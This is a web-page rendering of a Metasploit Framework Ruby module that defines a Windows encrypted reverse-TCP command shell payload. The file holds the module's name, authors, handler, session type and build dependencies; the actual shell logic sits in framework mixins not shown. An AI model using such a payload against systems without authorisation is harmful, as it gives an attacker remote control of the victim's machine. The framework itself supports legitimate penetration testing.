CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/windows/encrypted_shell_reverse_tcp.rb
Views: 11766
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
8
CachedSize = 4416
9
10
include Msf::Payload::Windows
11
include Msf::Payload::Single
12
include Msf::Sessions::CommandShellOptions
13
include Msf::Payload::Windows::EncryptedReverseTcp
14
include Msf::Payload::Windows::EncryptedPayloadOpts
15
16
def initialize(info = {})
17
super(merge_info(info,
18
'Name' => 'Windows Encrypted Reverse Shell',
19
'Description' => 'Connect back to attacker and spawn an encrypted command shell',
20
'Author' =>
21
[
22
'Matt Graeber',
23
'Shelby Pace'
24
],
25
'License' => MSF_LICENSE,
26
'Platform' => 'win',
27
'Arch' => ARCH_X86,
28
'Handler' => Msf::Handler::ReverseTcp,
29
'Session' => Msf::Sessions::EncryptedShell,
30
'DefaultOptions' => { 'LinkerScript' => "#{LINK_SCRIPT_PATH}/func_order.ld" },
31
'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X86 ]
32
))
33
end
34
end
35
36